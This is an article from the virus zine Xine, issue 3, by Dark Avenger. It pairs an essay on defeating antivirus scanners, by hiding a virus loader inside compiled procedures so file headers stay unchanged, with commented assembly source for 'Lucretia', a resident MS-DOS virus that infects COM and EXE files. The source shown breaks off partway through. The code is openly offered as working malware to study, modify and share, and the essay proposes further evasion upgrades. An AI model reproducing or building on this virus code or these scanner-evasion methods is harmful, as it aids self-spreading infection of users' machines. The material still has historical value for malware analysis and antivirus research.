
                                        /-----------------------------\
                                        | Xine - issue #3 - Phile 104 |
                                        \-----------------------------/



Hello there, whoever you are.

Int13h asked me to write sort of a history of the article and code that
follows. So here goes. I wrote the stuff about three and a half years ago,
and meant to publish it in the then-existing virus magazine `40hex' under a
fake handle (is there ever such a thing as a "fake" handle?). However, a
certain person convinced me not to do that, because it would be a "bad"
thing to do. I believed that, and I did not publish the article or the
source. Later though, I came to remember the simple truth that "bad" and
"good" can have any meaning only related to specific persons or subjects. So
what was "bad" for someone could be "good" for someone else, and vice versa.
Those things that were supposed to be good turned out to be bad for me,
while those supposed to be bad didn't make any difference. Also, and very
much to my disappointment, I had to find out that nobody ever cared about
what was bad or what was good for me, including the above mentioned person.
Considering all that, i think it's pretty much OK for me to publish the
stuff now, after it has been lying forgotten in a box along with some other
things for so many months. I did, at the time, sent a copy of the code (in
an executable file only, no source) to a certain -AV company so they could
add detection of it in their scanner. They took the easy way out and added
detection only in COM files, but not in EXE files, saying they would add the
EXE file detection some time "later" (which, as far as I know, they never
did). So, in case anyone cares to verify the age of the code, that could be
done fairly easy now :-)

Since the following article and code are not too small, I suppose some
people would like to know what this is all about, before they waste their
their time reading through it. Basically, it's one of those ideas that I've
had for a long time. I never sat down to implement most of them, but this
one i did in 1994, mostly becaise I had to try to do something to keep me
sane at the time. So I just sat down and wrote it; i had the article
completely finished by May. This is a resident MS-DOS virus (I called it
Lucretia, after a song by that name from the group 'Sisters of Mercy' that I
was listening to a lot while i was writing this code). It can infect COM and
EXE files. It is not stealth, and not really polymorphic, either. It is also
not very easy to get it to infect a file; it only infects files that it
likes. There is something else interesting about it, though, and that is the
way it inserts its code into victims. A side effect of that is that certain
virus scanners might have some trouble detecting it. The article discusses
this approach at length (sort of). Now that I look back at it, I've got to
admit that the stuff is pretty lame. I am also aware of the fact that other
people have done similar things independently of me in the past few years.
Nevertheless, I think this code might still have some educational,
entertainment, or whatever value. So, for all it's worth, here it is, in its
almost unmodified original form.

Oh yeh, i also have to say this.... a big "FuCK YoU" goes to my greatest
admirer Vaseline Bontchev (is he still alive?)... "your never gonna get it"
(the rest of it, anyway) to Little Loc/Priest - or what ever his current
handle is. "greetz" to Int13h (or he would have nagged me to death about it
:)... kisses to the Girl in the Yellow Dress (she knows who she is).

dav                                                                 24/12/97

-------------------------------------------------------------------------------

                      A new way to defeat virus scanners
                                by Dark Avenger


In this  article we  will try  to present  a new  approach for  defeating virus
scanners, and a sample virus that implements it.

Since there have been anti virus programs around for quite some time now,  many
virus programmers are inclined  to design their viruses  in a way to  make them
if not undetectable, then at least less detectable by these programs. The  most
popular  anti  virus  programs  on  the  market  today  are the so called virus
scanners. Part of the  reason why is that  they are easy to  maintain by users,
and easy to  program by the  people who make  them, and another  part of it  is
because it just  so happened. So,  naturally, many virus  programmers have been
looking for  ways to  defeat virus  scanners, and  quite a  lot of efforts have
gone into that. Lets take a look at some such ways that are currently known.

First, stealth viruses. These are  resident viruses that are able  to disinfect
files "on the fly" and therefore hide themselves from a virus scanner, or  from
an integrity checker. However, this doesn't work if the virus is not  currently
resident. It  also has  a drawback  in that  in many  cases it  makes it easily
possible  for  a  user  to  disinfect  infected files without using any special
software (of course  this fact isn't  advertised by the  anti virus people  for
obvious reasons). The first known stealth virus was Pakistani Brain.

Second, some viruses can infect targets that are not (or were not at the  time)
usually scanned by  virus scanners, such  as, say, device  drivers, OBJ or  DLL
files, or text files.

Third, there exist  polymorphic viruses. There  have been many  viruses of this
type,  and  there  has  been  quite  a  lot  of  progress  in  developing them.
Polymorphic techniques  have evolved  from simple  viruses such  as Cascade and
Phoenix-2000, through  advanced viruses  such as  the V2P*  family, to  complex
polymorphic engines  like MtE/TPE/DAME.  Polymorphism is  in fact  the ultimate
solution to the virus scanning problem, if designed and applied correctly.  But
there is a big  problem with it, and  that is that there  are some difficulties
with designing and applying it correctly,  and nobody has succeeded to do  this
completely  so  far.  That's  why  it  is  meanwhile  useful  to look for other
possible approaches. It  this article we  will present one  such approach. This
approach is not a  replacement to polymorphism, and  as a matter of  fact works
even better when combined with it.

Lets  begin  with  examining  what  a  virus scanner exactly does. When started
(after the user has presumably cold booted from a clean write protected  system
diskette),  a  virus  scanner  examines  the  whole  file  system  (or any user
specified files, disks,  etc.) for known  viruses. This is  achieved by reading
the  specified  files  and  system  areas  and  searching for patterns known to
belong to existing viruses. Typically, only executable files would be  scanned,
but many  virus scanners  have an  option to  scan all  files. At  first, virus
scanners used to read a whole  file and search it for patterns  (scan strings).
But nowadays this is no longer the case. A typical virus scanner on the  market
today would only  read in the  header (beginning) of  the file, and  if nothing
that could possibly indicate an  infection was found there, wouldn't  bother to
examine the rest  of the contents  of the file.  In some cases  a scanner would
"trace"  file's  entry  point  and  do  a  second  check there, or perhaps also
examine the  end of  the file,  but it  would never  read the  whole executable
unless something  special has  been found  by the  initial checks.  Why this is
done  so,  is  that  reading  and  scanning  whole  files  would be quite slow,
especially considering the  lousy search algorithms  usually employed by  these
scanners.  There have been a  significant increase of external storage used  in
personal computers recently, while decrease of access time and increase of  CPU
speed have not been that  great. Thus it is not  untypical today for a user  to
have a few gigabytes of data stored on their fixed disks, of which some 10%  or
more might as well  be executables. Reading and  searching through such a  vast
amount of data could force the  user with an uncomfortably long wait.  Not many
users  would  be  inclined  to  use  a  virus  scanner  too  often  under these
circumstances, or  at least,  not this  particular scanner.  On the other hand,
most (if not  all) currently known  viruses need to  modify file's header  in a
certain  way,  in  order  to  infect  it  successfully.  This  is what makes it
sufficient for a  smart virus scanner  to only read  the header in  order to be
able to determine if a file has not been infected by a known virus.

From what was said so far, it  becomes clearly obvious that a virus which  does
infect a file without modifying its  header (or code at the entry  point) would
be therefore undetectable by these scanners.  The only question left is how  to
implement it. And this is exactly what this article is all about.

At  first  glance  it  might  appear  that  it  would  be  difficult, or nearly
impossible, to  create a  virus that  could successfully  infect files  without
modifying  their  headers.  A  typical  virus  would  insert  its  code  at the
executable  file's  entry  point,  thus  gaining  control  before  the infected
program was  started, and  therefore being  able to  restore the  state of  the
computer to whatever is needed for  the program to execute correctly. If  virus
code was inserted  at a random  place inside a  program, the result  would most
likely be both the target program  and the virus failing to execute  correctly,
thus alarming  the user  about a  possible problem,  and at  the same  time the
virus failing  to spread  further. Definitely  not a  good thing. However there
are ways to solve this problem.

To understand  our approach,  lets take  a closer  look at  the structure  of a
typical executable file.  An executable usually  consists of (optional)  header
and code  image. The  header contains  information as  to how  to load the code
image, including a relocation table to allow for loading the code at any  given
memory address, while  the code image  contains instructions of  the program as
well as any pre-defined data (constants).

Our task  is to  locate a  portion of  the user  program code  where virus code
could be safely inserted without interfering with the correct execution of  the
user program. Most MS DOS executables today have been compiled from high  level
language source  code. There  exist various  high level  languages, and various
compilers generating  native 80x86  code. However  most of  them have a feature
that we  can successfully  exploit in  order to  easily locate  the part of the
code that we are looking for. This  feature is called "stack frame". To make  a
long story  short, a  stack frame  is something  put on  the stack  in order to
facilitate access to local variables  and procedure arguments put on  the stack
within a procedure.  More than that,  nearly every procedure  compiled by these
compilers includes some code  to install and remove  its own stack frame.  This
code is also sometimes referred to as entry/exit code, as it is located at  the
beginning and  the end  of a  procedure. For  example, entry  code for  a Turbo
Pascal procedure might look like this:

        PUSH    BP
        MOV     BP,SP
        SUB     SP,20

and its exit code might look like this:

        MOV     SP,BP
        POP     BP
        RET     4

Now, the key issue here is not the  stack frame or stack frame code, but it  is
the  procedures  themselves  (called  functions  in  C).  A high level language
procedure is some  code that does  some task. What  is most important  to us in
this case is  not what task  it does, but  the fact that  typically a procedure
has  only  one  entry  point,  and  its  entry  code (to set up stack frame) is
located exactly at this entry point.  We can easily locate this entry  code, by
searching for the appropriate  instructions, and at the  same time we can  also
locate  the  exit  code,  which  marks  the  procedure's end. This allows us to
safely insert our code inside a procedure. Execution of the user program  would
proceed normally as long as our program could restore the processor  registers,
the procedure's code that was overwritten, and pass control to it after it  was
done with whatever tasks it needed to  perform. There is not much chance for  a
failure, since the procedure would not  be entered but through its entry  point
in most cases. There are, however,  some tricky issues which will be  addressed
later in this article.

What was described  above was the  infection method #1  of the sample  virus we
are presenting here. There exist,  however, an infection method #2.  The second
infection method  is meant  to address  those executables  that for some reason
cannot be infected using the first infection method described above.

Lets recall what our task  was:  to locate a  portion of the user program  code
where virus code could be safely inserted without interfering with the  correct
execution of the user  program. Since an examination  of the user program  code
has failed to reveal any such portions,  our only chance now would be to  start
the user  program, and  examine it  as it  runs, analysing  its behaviour, more
specifically the program flow  that takes place. This  way we would be  able to
determine if there are  any locations inside the  code image which behave  like
procedures, i.e. are always  entered through a single  entry point, or, if  not
always, at least the first time they are called, which is what we need for  our
particular purpose.  The way  this is  done is  by executing  the program  in a
"single  step"  mode.  This  is  a  special  processor  mode  that generates an
interrupt after  each instruction  executed. It  is often  used by debuggers to
single step through user code (hence  the name "single step"). It is  also used
by some (anti)  virus programs in  order to trace  interrupt handlers to  their
origin or  for other  similar purposes.  What we  use it  for is to monitor the
change of the instruction pointer (IP)  while a program executes. At each  step
we check whether the current IP  value is suitable for our purpose.  A location
would be ok to use, if it was far enough from the code entry point, and if  the
few subsequent  locations, where  the virus  code would  be inserted, had never
been executed through yet. The second condition can be checked using a bit  map
to mark regions  of code as  they are being  executed. It is  also necessary to
ensure that the target region has not been overwritten by the execution of  the
program so far,  i.e. that it  has not been  used as data  and written to. This
can be done  by extending the  bit map to  a "check sum  map", and performing a
check sum on  the whole region.  After the needed  location has been  found, we
can  infect  the  program,  exit  single  step  mode,  and let the user program
continue  executing  normally,  in  case  it  was  invoked by the user. If this
program was not invoked by the user,  we could just terminate it at this  point
(not forgetting to restore  all interrupt vectors). The  current implementation
infects a  program only  when it  has been  invoked by  the user,  and also the
actual infection  is performed  after the  user program  has terminated, if the
user program has not attempted  to check its integrity. Also,  infection method
#2 is only  applied to COM  files, but there  does not exist  any reason why it
could not be extended it to also handle EXE files.

What was said so  far outlines the basic  principles of the approach  presented
here.  A  virus  which  follows  this  approach  (i.e.  employs  any of the two
infection methods described above) shall be  called a retro virus of type  one.
Retro viruses of type two will be eventually presented in another article.

Lets now  see what  possible problems  arise with  these two infection methods,
and how can we solve them.

First, the virus would need to restore the code which was overwritten in  order
for the  user program  to execute  properly (unless  of course  we want to have
written an  overwriting virus).  This could  be done  by storing  a copy of the
overwritten code at the  end of program code  image, and then simply  moving it
back at run time,  just like ordinary viruses  do. However since the  virus has
not received  control immediately,  the program  could have  (and in many cases
would have)  overwritten this  area with  data, stack,  etc. Therefore a better
solution would be to  read this code from  the executable file itself,  like an
overlay. In most cases  this could be done  easily under MS DOS  version 3.0 or
later, as the program file name is stored at the end of its environment,  which
would allow us to  locate the program being  executed. This would not  normally
present  a  problem  unless  the  program  had  spawned other processes, or had
overwritten its environment for  some reason, or if  the file is residing  on a
removable disk, and the user has already removed that disk.

Second,  when  using  the  first  infection  method,  we need to locate a large
enough procedure to hold  the whole virus body,  which might be too  big to fit
inside any single procedure of most  executables. This can be bypassed by  only
inserting an overlay loader, instead  of inserting the whole virus  body inside
a procedure. The  overlay loader could  then load the  rest of the  needed code
from the infected file.

Third, going  memory resident  is a  problem. At  the time  the virus  receives
control,  there  usually  won't  be  any  memory available, except possibly for
UMB/HMA/EMS  etc.  A  solution  would  be  to  terminate  the  user program, go
resident, and re-execute the program, but that would only be good if the  virus
has received control before the infected  program had in fact taken any  action
that could  be noticed  by the  user, most  importantly input  from keyboard or
output to screen. This would need  to have been ensured at infection  time. The
solution presented here  is different. The  overlay loader, which  was inserted
into user  program's code,  moves itself  to a  well known  free memory area at
absolute address 0:540h, after which  it loads the originally overwritten  code
from where it was stored at the  end of infected file. A check is  performed to
find out if the  virus is already resident,  and if so, control  is returned to
the user program.  Otherwise, program termination  address in PSP  is hooked to
point to another  part of the  overlay loader and  then control is  returned to
the user  program as  usual. When  the program  terminates, the  overlay loader
takes control for  a second time.  This time the  loader allocates DOS  memory,
now freely available, and  loads the whole virus  body into it, which  was also
stored at  the end  of file.  The virus  code is  also being  decrypted at this
point; encryption with a  random key is necessary  in order to ensure  that the
virus  cannot  be  scanned  for  by  simply  scanning  the  last few bytes of a
possibly infected file for some pattern.

Another  problem  arises  when  infecting  EXE  files. These files, like it was
already pointed out, have  a relocation table to  allow for loading their  code
at  any  given  memory  address.  If  there  were relocation items present that
pointed to the  area which was  selected for inserting  the overlay loader,  it
would be necessary to delete those  items from the relocation table and  insert
them into overlay loader's  own relocation table. This  table would have to  be
used by  the loader  to relocate  the loaded  user program  code before passing
control to  it. This  is the  way it  is handled  by the  sample virus included
here, with the only difference being  that these items aren't deleted from  the
table,  but  are  instead  pointed  to  a  dummy  word in the overlay loader. A
possible enhancement would be to first look for procedures that don't have  any
relocation items pointing  to them, in  order to avoid  unnecessarily modifying
the EXE header relocation table.

A  general  problem  with  infection  method  #1  is  that  the loader could be
inserted into  a procedure  that will  not always  be executed,  or even  never
executed. Moreover,  the more  procedures a  program contains,  the less chance
that  a  randomly  selected  one  would  get  called.  An attempt to solve this
problem  could  be  to  try  to  ensure  that  the procedure does get called at
infection time. After finding all  candidate procedures to be overwritten  with
the overlay  loader, the  program could  be executed  and a  procedure that was
actually called would  be selected and  the virus code  inserted into it  after
program  termination.  This  could  be   achieved  by  inserting  a  far   CALL
instruction at the beginning of each candidate procedure to the resident  virus
code,  which  would  then  note  the  procedure  being called, restore the code
overwritten  by  the  CALL  instruction  and  then  pass control back to it. Of
course, this method would not  ensure that the selected procedure  would always
get  called;  it  might  or  might  not  be  called  depending  on command line
parameters, user responses, etc. Also  note that this assumes that  infecting a
program is  performed at  its invocation  by the  user; if  it isn't,  then the
program's input and  output need to  be redirected to  NUL while doing  this. A
simpler approach  would be  to insert  the overlay  loader into  more than  one
procedure, hoping that at  least one of them  would get called. Note  that this
wouldn't cause some great increase  in infected file size, since  the encrypted
virus body could be  stored only once. The  current implementation does not  do
any of this; it simply selects one procedure at random.

There  is  a  related  problem  with  infection  method  #2,  which was already
mentioned. Since we are single stepping through the program, we need to  ensure
that no I/O takes  place unless the program  was actually invoked by  the user.
This  is  always  the  case  in  the  sample  virus  presented here, as it only
attempts to  infect programs  when they  are being  executed, so  it needs  not
bother with this  type of checks.  However perhaps it  is worth implementing  a
fast infector  employing the  infection methods  described here.  In this  case
performing these checks would become necessary.

Another problem  with the  second infection  method is  its slowness. A program
being single  stepped through  is also  being slowed  down quite  dramatically.
This is not a problem when  an appropriate region is found quickly,  and single
step mode is exited  from soon, however for  some programs it takes  longer, or
even never, to  find the needed  place. For this  reason our sample  virus also
monitors the  system timer  and if  more than  half a  second has elapsed since
execution start, exits single step mode without infecting the program.  Another
useful  trick  is  to  optimize  REP  string  instructions.  This is especially
important since  many C  compilers have  a start  up code  that overwrites  the
whole  data  segment  with  zeros,  apparently  in an attempt to initialize all
static variables. This is usually done using a REP STOSW instruction. The  code
included  here  handles  REP  string  instructions  in  non  single  step mode;
whenever such an  instruction is encountered,  single step mode  is exited, the
string instruction is executed, and  single step mode is re-entered,  after the
instruction has completed execution.

One thing that the  first infection method currently  does not handle is  80186
instructions. Most compilers now have the  ability to use these, and there  are
two of them that  are particularly important to  us for our purpose:  ENTER and
LEAVE. They are  used to create  and destroy procedures  stack frame, so  if an
executable  was  compiled  to  run  on  a  80186  or  compatible processor, its
procedures  would  not  be  found.  This  does  not present any kind of generic
problem though; it is just a shortcoming of the current implementation.

Finally, it  should be  said that  not all  programs infected  by a retro virus
would always  run correctly.  But then,  this is  true for  any virus  infected
programs.  In  fact,  in  some  cases  a  program  that  cannot be successfully
infected by a  conventional virus, or  would be corrupted  if it was,  could be
infected by a retro virus, and would still run correctly. This is the case  for
some overlay files.

One  major  problem   for  retro  viruses   are  compressed  (by   LZEXE  etc.)
executables. These  files cannot  be infected  by neither  of the two infection
methods for obvious reasons. The  only non-compressed code in such  executables
is usually scanned for viruses, since it is located at either the beginning  or
the end  of code  image, or  both. Furthermore,  many scanners  now can  expand
compressed executables to perform an internal check. This means that even if  a
virus could somehow  be inserted inside  a compressed executable,  it would (or
might) be scanned for,  unless the virus scanner  only expands the header  of a
compressed executable. A possible solution  to this problem would be  to expand
the executable, infect it, and leave it expanded.

It should also be said  that it is possible for  a virus scanner to detect  the
sample virus included here. First of all, the obvious way to do it would be  to
read the whole executable file (F-Prot  does so for COM files) and  then search
for some pattern that  is found in the  overlay loader. This would  indeed slow
down the  scanner, but  that would  be only  due to  reading the  file, not  to
searching for the pattern,  since searching for a  single scan string could  be
done fast enough compared  to reading a file.  An obvious improvement would  be
to encode the overlay loader using  a good polymorphic engine; this could  slow
down the  searching process  significantly. That  would be  one step further in
the direction  of successfully  escaping from  virus scanners,  and it could be
easily implemented. Second, in case of the first infection method, the  overlay
loader is always  placed at the  beginning of a  procedure. This means  that in
most cases  (with the  current implementation  always) exit  code of a previous
procedure  would  immediately  precede  it.  This  should  be  corrected  if  a
polymorphic engine is to be used  with the overlay loader for obvious  reasons;
it can be done  either by removing the  restriction for the selected  procedure
to immediately follow the  exit code of another  procedure, or by skipping  the
first few instructions of the selected  procedure, which can be done by  single
stepping through it at run time.  The third, and perhaps the most  difficult to
solve problem is with the encrypted code  stored at the end of file. Since  the
code is encrypted with a random key,  it is not possible to determine (in  real
time) that what is  stored at the end  of file is actually  the encrypted virus
body.  However a  simple statistical analysis would  reveal it as random  data,
which is  not what  most executables  contain. Therefore  a smart scanner could
inspect the region where the  encrypted virus body would supposedly  be stored,
and in case it looks random, proceed with reading the whole file and  searching
it for the overlay loader. More than  that, this data is stored as an  internal
overlay (which it indeed is), in case  of an infected EXE file, so the  scanner
could perform the above  check only if the  file contains an overlay.  This way
there won't  be any  slow down  when scanning  most executables,  but the virus
would  still  be  found.  A  work  around  solution to this problem would be to
extend the  target file  by a  random number  of bytes,  after infecting it, so
that it will not be  known in which area the  encrypted code is stored, and  at
the  same  time  storing  it  as  a  part  of the code image, rather than as an
overlay. However this could lead to some undesired effects, such as users  disk
space filling up very  quickly, some programs refusing  to load because of  not
enough memory, etc.  Another possible solution  would be to  make the encrypted
code  not  look  statistically  random,  and  at  the same time not showing any
specific  patterns  in  it,  however  this  is  not  a trivial task, especially
considering the  memory requirements  of the  overlay loader,  which has  to be
able to handle the decryption of this code.

There are  also other  ways to  extend the  virus presented  here. For example,
conventional  fast  infection/stealth  mechanisms  could  be  added  to improve
performance;  conventionally  infected  files  could  be  converted  to the new
format whenever there  is an occasion  for that (i.e.  whenever they are  being
executed by the user),  if no integrity check  attempts on them have  been made
meanwhile.  Another  easy improvement would  be to enable  infection of overlay
files. All this is left as an exercise to the readers.

Well, on a final note, most of what  was said here was specific to MS DOS,  but
some of the concepts  might work well with  other operating systems. So  if you
happen to  have access  to any  such, it  is only  up to  you to  continue this
research in that different environment.  

So here it is, the Commented Source Code of this Virus... Share and Enjoy.

--- Begin LUCRETIA.FEM --------------------------------------------------------

;
; Lucretia -- a small virus.
; Written by Dark Avenger.
; version 0.01, 15/03/94
;
; *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING ***
;
; This code might cause damage to your system if executed. It is provided as
; an education tool for information purposes only. The author disclaims any
; responsibility for any consequences of anyone else using this code.
;
; This code is hereby placed in the public domain. Feel free to study it,
; modify, copy, publish, share with friends, or anything.
;
; Compile with Turbo Assembler. Run under MS DOS 3.0 or later.
;
; *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING ***
;

                .model  tiny

tmp_area        =       559h                    ;Temporary area to be used by
tmp_area_len    =       700h-tmp_area           ; the overlay loader

                .code

                org     100h

; Dummy code, not part of the virus

code_start:
                jmp     short main_entry

                db      8,8,'  ',26

fake_terminate:
                int     20h

base            dd      0                       ;Random encryption seed

; Overlay loader; control arrives here from within an infected program

main_entry:
                push    cs
                test    ax,0a9a9h               ;Infection mark
                push    sp
                call    push_all
                mov     al,7
                int     29h                     ;Beep at loading in memory
                mov     ah,62h
                int     21h
                xor     ax,ax
                mov     es,ax

; Prepare to copy loader to temporary area: if loader_1 already present there,
;  only copy loader_0; otherwise copy both loader_0 and loader_1

                mov     di,tmp_area
                mov     cx,offset tmp_len
                cmp     es:[load_1_sign-base_addr+tmp_area],48b4h
                jne     copy_loaders
                mov     ax,load_1_end-load_0_end
                mov     cx,load_0_end-base_addr
copy_loaders:
                pushf
                push    bx
                push    es
                mov     si,load_0-base_addr+tmp_area
                push    si
                push    cs
                pop     ds
                call    base_addr
base_addr:
                pop     si
                push    si
                rep     movsb                   ;Copy the loader(s)
                add     si,ax
                add     di,ax
load_0_rel_0    label   word
                mov     cx,0
                rep     movsb                   ;Copy the relocation info
                pop     si
                retf

load_fail:                                      ;Terminate program in case of
                mov     ah,4ch                  ; loader failure
                int     21h

; loader_0: control arrives here after the code was moved to temporary area

load_0:
                sub     si,base_addr-main_entry
                mov     [bp+16h],si
                lea     bp,[bx+10h]
                mov     es,bx
                xor     di,di
                mov     es,es:[di+2ch]
                dec     cx
                mov     ax,3d00h
load_0_scan_env:                                ;Find program name stored after
                repnz   scasb                   ; environment
                scasb
                jne     load_0_scan_env
                scasw
                push    ds
                push    es
                pop     ds
                mov     dx,di
                int     21h                     ;Open
                pop     ds
                jc      load_fail
                xchg    bx,ax
load_0_pos_hi   label   word
                mov     cx,0
load_0_pos_lo   label   word
                mov     dx,fake_terminate-code_start
                mov     ax,4200h                ;Seek to and read code
                int     21h                     ; overwritten by the loader
                mov     dx,si
load_0_read     label   word
                mov     cx,2
                mov     ah,3fh
                int     21h
load_0_check    label   word                    ;Check if read was successful
                cmp     [si],20cdh              ; by comparing the first word
                jnz     load_fail               ; read to the expected value
                push    di
                mov     si,load_1_end-base_addr+tmp_area
load_0_rel_1    label   word
                mov     cx,0
                jcxz    load_relo_done
load_relo:                                      ;Relocate the just loaded code
                lods    word ptr cs:[si]
                add     ax,dx
                xchg    di,ax
                add     ds:[di],bp
                dec     cx
                loop    load_relo
load_relo_done:
                stc
                mov     ax,3e4ch                ;Close the file (also check if
                int     21h                     ; already resident)
                pop     ax
                pop     ds
                jc      load_0_go               ;Exit if already resident
                popf
                je      pop_all_ret             ;Exit if loader_1 present

; Save file name pointer to be used by loader_1

                mov     cs:[load_1_name_ofs+1-base_addr+tmp_area],ax
                mov     cs:[load_1_name_seg+1-base_addr+tmp_area],es

; Intercept program terminate address to point to loader_1 and save the old
;  value inside loader_1

                mov     ax,load_1-base_addr+tmp_area
                xchg    ax,ds:[10]
                mov     cs:[load_1_chain-base_addr+tmp_area],ax
                mov     ax,cs
                xchg    ax,ds:[12]
                mov     cs:[load_1_chain+2-base_addr+tmp_area],ax
                pushf
load_0_go:
                popf
pop_all_ret:
                call    pop_all
                retf                            ;Return to user program

pop_all:
                mov     bp,sp
                pop     [bp+16h]
                pop     cx
                pop     si
                pop     di
                pop     bp
                pop     dx
                pop     ds
                pop     bx
                pop     es
                pop     ax
                popf
                ret
load_0_end:

; loader_1: control arrives here (in temporary area) if the virus is to go
;  resident after the user program terminates

load_1:
                call    push_all
load_1_name_seg label   word
                mov     ax,0
                mov     ds,ax
load_1_name_ofs label   word
                mov     dx,0
                mov     ax,3d00h                ;Open the infected file
                int     21h
                jc      load_1_fail
                push    ax
                mov     bx,(code_end-base+15)/16
load_1_sign     label   word
                mov     ah,48h                  ;Allocate DOS memory for the
                int     21h                     ; resident code
                pop     bx
                jc      load_1_fail
                dec     ax
                mov     ds,ax
                xor     di,di                   ;Mark the newly allocated MCB
                mov     word ptr [di+1],8       ; as "system"
                inc     ax
                mov     ds,ax
load_1_pos_hi   label   word
                mov     cx,0
load_1_pos_lo   label   word
                mov     dx,base-code_start
                mov     ax,4200h                ;Seek to and load encrypted
                int     21h                     ; virus body in memory just
                mov     cx,offset ovl_len       ; allocated
                mov     ah,3fh
                cwd
                int     21h
                mov     ax,[di]
load_1_check    label   word                    ;Check if read was successful
                cmp     ax,0                    ; by comparing the first word
                jnz     load_1_fail             ; read to the expected value
                push    bx
                mov     ax,resident_entry-base
                push    ds
                push    ax
                push    cs
                pop     es
                mov     si,rand_key-base_addr+tmp_area
crypt_code:
                mov     bx,[di]
                scasw
                mov     bp,[di]
                mov     ax,bx
                or      ax,bp
                jz      simple_crypt_3          ;No encryption if seed zero
                mov     cx,ovl_len/4-1
simple_crypt:
                scasw
simple_crypt_0:
                push    si
                push    cx
                mov     cx,15
simple_crypt_1:                                 ;En/Decrypt virus code using a
                lods    word ptr es:[si]        ; simple encryption scheme
                mul     bp
                sub     ax,dx
                jnz     simple_crypt_2
                sub     ax,bp
                jnz     simple_crypt_2
                sub     ax,es:[si-2]
                stc
simple_crypt_2:
                adc     bx,ax
                ror     bx,cl
                xchg    bx,bp
                loop    simple_crypt_1
                pop     cx
                pop     si
                xor     [di],bx
                scasw
                xor     [di],bp
                loop    simple_crypt
simple_crypt_3:
                retf                            ;Jump to code just decrypted

; Erase loader_1 mark in memory in case of loader failure

load_1_fail:
                mov     cs:[load_1_sign-base_addr+tmp_area],ax

; Control arrives here after the virus has installed itself memory resident, or
;  has failed to do so; transfer control back to parent process in both cases

load_1_go:
                call    pop_all
                db      0eah
load_1_chain    dw      0,0

; Random encryption key

rand_key        db      '( this space is not for rent )'

push_all:
                pushf
                push    ax
                push    es
                push    bx
                push    ds
                push    dx
                push    bp
                push    di
                push    si
                push    cx
                mov     bp,sp
                cld
                jmp     [bp+14h]
load_1_end:

loader_len      =       $-main_entry
tmp_len         =       $-base_addr

; This is the beginning of decrypted code; control arrives here when the loaded
;  and decrypted code needs to go memory resident

resident_entry:
                pop     bx
                mov     ah,3eh
                int     21h                     ;Close open file

; Save old INT 21 vector and point it to our handler

                mov     ax,3521h
                int     21h
                mov     ds:[dos_chain-base],bx
                mov     ds:[dos_chain+2-base],es
                mov     dx,dos_entry-base
                mov     ax,2521h
                int     21h
                db      0eah                    ;Exit to parent process
                dw      load_1_go-base_addr+tmp_area,0

; Control arrives here when DOS function "OPEN" called (check for self-opening)

open_entry:
                call    push_all
                cmp     ah,6ch
                je      open_1
                mov     si,dx
open_1:
                mov     ah,62h
                call    dos
                mov     es,bx
                mov     es,es:[53h]             ;Check if open is being called
                xor     bx,es:[psp_seg]         ; by a program that is to be
                jne     open_done               ; infected, exit if negative
                mov     di,offset open_name
                mov     ah,60h                  ;Resolve file name being opened
                call    dos
                push    es
                pop     ds
                mov     si,offset exec_name
                mov     cx,80
                xchg    ax,bx                   ;Check if name of file being
                repz    cmpsb                   ; opened matches the name of
                je      open_2                  ; the program to be infected
                cmp     cx,79
                je      open_done
                dec     di
                dec     di
                scasb
                jne     open_done               ;Exit if negative
open_2:
                cwd
                call    set_inject_pos          ;Disable infection if positive
open_done:
                call    pop_all
                jmp     short dos_go

; Control arrives here when DOS function "CLOSE" called (installation check)

close_entry:
                push    bp
                mov     bp,sp                   ;Check if being called by the
                cmp     word ptr [bp+4],0       ; overlay loader
                pop     bp
                jne     dos_go                  ;Exit if negative
                call    dos
                iret                            ;Don't clear carry if positive

; INT 21 handler; control arrives here whenever a DOS function is being called

dos_entry:
                cmp     ah,3dh                  ;Handle open
                je      open_entry
                cmp     ax,3e4ch                ;Handle close
                je      close_entry
                cmp     ax,4b00h                ;Handle exec
                je      exec_entry
                cmp     ax,6c00h                ;Handle extended open (DOS 4.0)
                je      open_entry
dos_go:
                db      0eah
dos_chain       dw      0,0

; Control arrives here when DOS function "EXEC" called

exec_entry:
                push    bx
                mov     bx,(stack_top+15)/16    ;Allocate work segment
                mov     ah,48h
                call    dos
                pop     bx
                jc      exec_go
                push    ds
                mov     ds,ax
                mov     ds:[save_sp],sp
                mov     ds:[save_ss],ss
                pop     ds
                mov     ss,ax                   ;Set up own stack in work
                mov     sp,offset stack_top     ; segment
                call    push_all
                call    exec_load               ;Do it to him
                mov     bp,sp
                pushf
                pop     [bp+12h]
                call    pop_all
                push    es
                push    ss
                pop     es
                mov     ah,49h                  ;Free work segment
                call    dos_f
                pop     ax
                mov     ss,es:[save_ss]         ;Restore old stack
                mov     sp,es:[save_sp]
                mov     es,ax
                pop     ax
exec_go:
                mov     ax,4b00h                ;Pass control to DOS exec if
                jc      dos_go                  ; carry set, otherwise all done
                retf    2                       ; so exit to caller

; Read file header into work segment

read_exe_header:
                mov     ax,3d00h
                call    dos                     ;Open
                jc      read_exe_fail
                xchg    bx,ax
                mov     dx,offset exe_header
                mov     cl,40h
                mov     ah,3fh                  ;Read first 64 bytes
                call    read
                jc      close_f
                call    seek_eof                ;Get file size
                mov     ds:[file_size],ax
                mov     ds:[file_size+2],dx
                cmp     ax,1000h
                sbb     dx,cx
                jb      close_f                 ;Exit if < 4096 bytes long
                xchg    dx,ax
                mov     ax,ds:[exe_header]      ;Determine if EXE or COM
                cmp     ax,5a4dh
                je      read_exe_exe
                cmp     ax,4d5ah
                je      read_exe_exe

; Don't infect COM files that are too big

                cmp     dx,-loader_len-ovl_len-101h
read_exe_bad:
                cmc
                jmp     short close_f
read_exe_exe:
                mov     ax,ds:[exe_header+6]
                add     ax,3
                rcr     ax,1
                shr     ax,1
                add     ax,(stack_top+15)/16
                cmp     ax,1000h                ;Exit if EXE relocation table
                jae     read_exe_bad            ; too big
                push    bx
                xchg    bx,ax
                mov     ah,4ah                  ;Expand work segment to make
                call    dos                     ; space for loading the
                pop     bx                      ; relocation table
                jc      close_f
                call    seek_rel                ;Seek to and read the whole
                call    calc_rel_size           ; relocation table
                mov     ah,3fh
                call    read
                jc      close_f
                mov     cx,1                    ;Do not infect high load files
                cmp     ds:[exe_header+0ch],cx  ;(unable to relocate correctly)
close_f:
                mov     ah,3eh
dos_f:
                pushf
                call    dos
                popf
read_exe_fail:
                ret

calc_rel_size:
                mov     cx,ds:[exe_header+6]
                shl     cx,1
                shl     cx,1
                mov     dx,offset relo_table
                ret

